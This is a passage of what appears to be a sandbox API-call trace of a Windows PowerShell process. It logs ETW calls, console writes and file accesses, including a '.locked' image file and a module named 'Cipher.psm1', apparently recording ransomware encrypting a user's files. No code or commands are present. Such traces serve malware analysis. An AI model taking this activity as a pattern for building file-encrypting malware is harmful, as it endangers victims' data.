[2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.742] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.742] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.743] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.743] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.743] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.743] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.744] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\xff00\xffff") returned 0x0 [0136.744] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x90, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.744] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.744] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x90, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x90, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.745] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x80") returned 0x0 [0136.745] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x91, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.745] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x90, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.745] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x91, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x91, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.747] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x99add1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0136.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0136.748] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\szjrwgq9ll\\_tagtwaevd.gif.locked"), fInfoLevelId=0x0, lpFileInformation=0x69332e0 | out: lpFileInformation=0x69332e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14b709f8, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x14b709f8, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x14b709f8, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x8a14)) returned 1 [0136.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0136.748] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif.locked", lpFilePart=0x0) returned 0x52 [0136.748] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\szjrwgq9ll\\_tagtwaevd.gif.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x764 [0136.748] GetFileInformationByHandle (in: hFile=0x764, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0136.748] CloseHandle (hObject=0x764) returned 1 [0136.749] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae54c | out: lpConsoleScreenBufferInfo=0x99ae54c) returned 1 [0136.749] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae554 | out: lpMode=0x99ae554) returned 1 [0136.750] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae54c, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae54c*=0x2) returned 1 [0136.757] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4f0 | out: lpConsoleScreenBufferInfo=0x99ae4f0) returned 1 [0136.758] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0136.758] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0136.759] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0136.763] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae554 | out: lpConsoleScreenBufferInfo=0x99ae554) returned 1 [0136.764] GetConsoleOutputCP () returned 0x1b5 [0136.764] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2d8) returned 0 [0136.764] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3a4 | out: lpConsoleScreenBufferInfo=0x99ae3a4) returned 1 [0136.764] GetConsoleOutputCP () returned 0x1b5 [0136.765] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae340, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae340) returned 0 [0136.765] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0136.765] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x695c050*, nNumberOfCharsToWrite=0x4b, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x695c050*, lpNumberOfCharsWritten=0x99ae3a4*=0x4b) returned 1 [0136.766] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0136.766] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3a4*=0x2) returned 1 [0136.771] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4ac | out: lpConsoleScreenBufferInfo=0x99ae4ac) returned 1 [0136.771] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4b4 | out: lpMode=0x99ae4b4) returned 1 [0136.772] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4ac, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4ac*=0x2) returned 1 [0136.776] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0136.776] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0136.777] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0136.781] GetConsoleOutputCP () returned 0x1b5 [0136.781] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0136.781] GetConsoleOutputCP () returned 0x1b5 [0136.782] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0136.782] GetConsoleOutputCP () returned 0x1b5 [0136.782] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.782] GetConsoleOutputCP () returned 0x1b5 [0136.783] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.783] GetConsoleOutputCP () returned 0x1b5 [0136.784] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0136.784] GetConsoleOutputCP () returned 0x1b5 [0136.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0136.785] GetConsoleOutputCP () returned 0x1b5 [0136.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.785] GetConsoleOutputCP () returned 0x1b5 [0136.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.785] GetConsoleOutputCP () returned 0x1b5 [0136.786] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0136.786] GetConsoleOutputCP () returned 0x1b5 [0136.786] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0136.786] GetConsoleOutputCP () returned 0x1b5 [0136.787] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.787] GetConsoleOutputCP () returned 0x1b5 [0136.787] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.787] GetConsoleOutputCP () returned 0x1b5 [0136.788] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0136.788] GetConsoleOutputCP () returned 0x1b5 [0136.788] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0136.788] GetConsoleOutputCP () returned 0x1b5 [0136.788] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.788] GetConsoleOutputCP () returned 0x1b5 [0136.789] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.789] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0136.789] GetConsoleOutputCP () returned 0x1b5 [0136.790] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0136.790] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0136.790] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x695cf2c*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x695cf2c*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0136.791] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0136.791] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0136.796] GetConsoleOutputCP () returned 0x1b5 [0136.796] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0136.796] GetConsoleOutputCP () returned 0x1b5 [0136.797] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0136.797] GetConsoleOutputCP () returned 0x1b5 [0136.797] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0136.797] GetConsoleOutputCP () returned 0x1b5 [0136.797] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0136.798] GetConsoleOutputCP () returned 0x1b5 [0136.798] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.798] GetConsoleOutputCP () returned 0x1b5 [0136.798] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.798] GetConsoleOutputCP () returned 0x1b5 [0136.800] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.800] GetConsoleOutputCP () returned 0x1b5 [0136.800] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.800] GetConsoleOutputCP () returned 0x1b5 [0136.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.801] GetConsoleOutputCP () returned 0x1b5 [0136.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.801] GetConsoleOutputCP () returned 0x1b5 [0136.802] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.802] GetConsoleOutputCP () returned 0x1b5 [0136.802] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.802] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0136.803] GetConsoleOutputCP () returned 0x1b5 [0136.803] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0136.803] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0136.803] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x695d984*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x695d984*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0136.804] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0136.804] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0136.809] GetConsoleOutputCP () returned 0x1b5 [0136.809] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.810] GetConsoleOutputCP () returned 0x1b5 [0136.810] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.810] GetConsoleOutputCP () returned 0x1b5 [0136.810] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.810] GetConsoleOutputCP () returned 0x1b5 [0136.811] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.811] GetConsoleOutputCP () returned 0x1b5 [0136.811] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.811] GetConsoleOutputCP () returned 0x1b5 [0136.812] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.812] GetConsoleOutputCP () returned 0x1b5 [0136.812] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.812] GetConsoleOutputCP () returned 0x1b5 [0136.813] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.813] GetConsoleOutputCP () returned 0x1b5 [0136.813] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.813] GetConsoleOutputCP () returned 0x1b5 [0136.814] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.814] GetConsoleOutputCP () returned 0x1b5 [0136.814] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.814] GetConsoleOutputCP () returned 0x1b5 [0136.815] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.815] GetConsoleOutputCP () returned 0x1b5 [0136.815] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.815] GetConsoleOutputCP () returned 0x1b5 [0136.816] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.816] GetConsoleOutputCP () returned 0x1b5 [0136.816] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.816] GetConsoleOutputCP () returned 0x1b5 [0136.817] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.817] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0136.817] GetConsoleOutputCP () returned 0x1b5 [0136.817] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0136.817] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0136.818] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x695f780*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x695f780*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0136.818] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0136.819] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0136.823] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x91, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.823] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x83, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x83, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.823] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.823] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0136.824] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.824] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x83, [1]=0x1b, 